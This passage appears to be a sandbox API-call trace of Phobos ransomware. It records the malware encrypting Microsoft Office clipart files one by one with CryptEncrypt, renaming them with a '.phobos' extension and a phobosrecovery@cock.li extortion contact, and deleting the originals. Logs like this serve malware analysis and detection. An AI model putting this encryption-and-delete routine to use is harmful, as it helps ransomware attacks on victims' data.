hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0058.311] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0058.311] CloseHandle (hObject=0x308) returned 1 [0058.311] CloseHandle (hObject=0x2e4) returned 1 [0058.312] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0058.313] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0058.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0058.313] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2016) returned 1 [0058.313] CloseHandle (hObject=0x2e4) returned 1 [0058.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0x220 [0058.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0058.314] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.314] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.314] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d070) returned 1 [0058.314] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.315] ReadFile (in: hFile=0x2e4, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x7e0, lpOverlapped=0x0) returned 1 [0058.366] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x7f0, dwBufLen=0x7f0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x7f0) returned 1 [0058.367] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x7f0, lpOverlapped=0x0) returned 1 [0058.368] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d1f0) returned 1 [0058.368] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.368] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0058.368] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0058.368] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0058.368] CryptDestroyKey (hKey=0x10d070) returned 1 [0058.368] CloseHandle (hObject=0x2e4) returned 1 [0058.368] CloseHandle (hObject=0x308) returned 1 [0058.369] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0058.370] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0058.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.370] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=4296) returned 1 [0058.370] CloseHandle (hObject=0x308) returned 1 [0058.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 0x220 [0058.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.371] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.371] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0058.372] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cf70) returned 1 [0058.372] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.372] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x10c8, lpOverlapped=0x0) returned 1 [0058.381] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x10d0, dwBufLen=0x10d0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x10d0) returned 1 [0058.381] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x10d0, lpOverlapped=0x0) returned 1 [0058.382] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cdf0) returned 1 [0058.382] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.382] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0058.382] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0058.382] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0058.383] CryptDestroyKey (hKey=0x10cf70) returned 1 [0058.383] CloseHandle (hObject=0x308) returned 1 [0058.383] CloseHandle (hObject=0x2e4) returned 1 [0058.383] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0058.385] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0058.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0058.388] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=4808) returned 1 [0058.388] CloseHandle (hObject=0x2e4) returned 1 [0058.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0x220 [0058.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0058.389] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.389] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.390] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cf30) returned 1 [0058.390] CryptSetKeyParam (hKey=0x10cf30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.390] ReadFile (in: hFile=0x2e4, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x12c8, lpOverlapped=0x0) returned 1 [0058.396] CryptEncrypt (in: hKey=0x10cf30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x12d0, dwBufLen=0x12d0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x12d0) returned 1 [0058.396] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x12d0, lpOverlapped=0x0) returned 1 [0058.397] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d070) returned 1 [0058.397] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.397] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0058.397] CryptDestroyKey (hKey=0x10d070) returned 1 [0058.397] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0058.397] CryptDestroyKey (hKey=0x10cf30) returned 1 [0058.397] CloseHandle (hObject=0x2e4) returned 1 [0058.397] CloseHandle (hObject=0x308) returned 1 [0058.398] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0058.399] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0058.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0058.422] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=5004) returned 1 [0058.422] CloseHandle (hObject=0x2e4) returned 1 [0058.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 0x220 [0058.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.572] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.573] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0058.573] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d070) returned 1 [0058.573] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.573] ReadFile (in: hFile=0x304, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x138c, lpOverlapped=0x0) returned 1 [0058.601] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1390, dwBufLen=0x1390 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1390) returned 1 [0058.601] WriteFile (in: hFile=0x324, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1390, lpOverlapped=0x0) returned 1 [0058.602] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cc70) returned 1 [0058.602] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.602] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0058.602] CryptDestroyKey (hKey=0x10cc70) returned 1 [0058.602] WriteFile (in: hFile=0x324, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0058.602] CryptDestroyKey (hKey=0x10d070) returned 1 [0058.602] CloseHandle (hObject=0x304) returned 1 [0058.603] CloseHandle (hObject=0x324) returned 1 [0058.603] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0058.604] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0058.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0058.605] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=28948) returned 1 [0058.605] CloseHandle (hObject=0x324) returned 1 [0058.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x220 [0058.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0058.605] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.605] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.605] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ce30) returned 1 [0058.605] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.605] ReadFile (in: hFile=0x324, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x7114, lpOverlapped=0x0) returned 1 [0058.615] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x7120, dwBufLen=0x7120 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x7120) returned 1 [0058.615] WriteFile (in: hFile=0x304, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x7120, lpOverlapped=0x0) returned 1 [0058.616] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ceb0) returned 1 [0058.616] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0058.616] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0058.616] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0058.616] WriteFile (in: hFile=0x304, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0058.616] CryptDestroyKey (hKey=0x10ce30) returned 1 [0058.616] CloseHandle (hObject=0x324) returned 1 [0058.616] CloseHandle (hObject=0x304) returned 1 [0058.618] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0058.619] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0058.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.619] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=22516) returned 1 [0058.619] CloseHandle (hObject=0x304) returned 1 [0058.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x220 [0058.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.620] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0058.620] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, 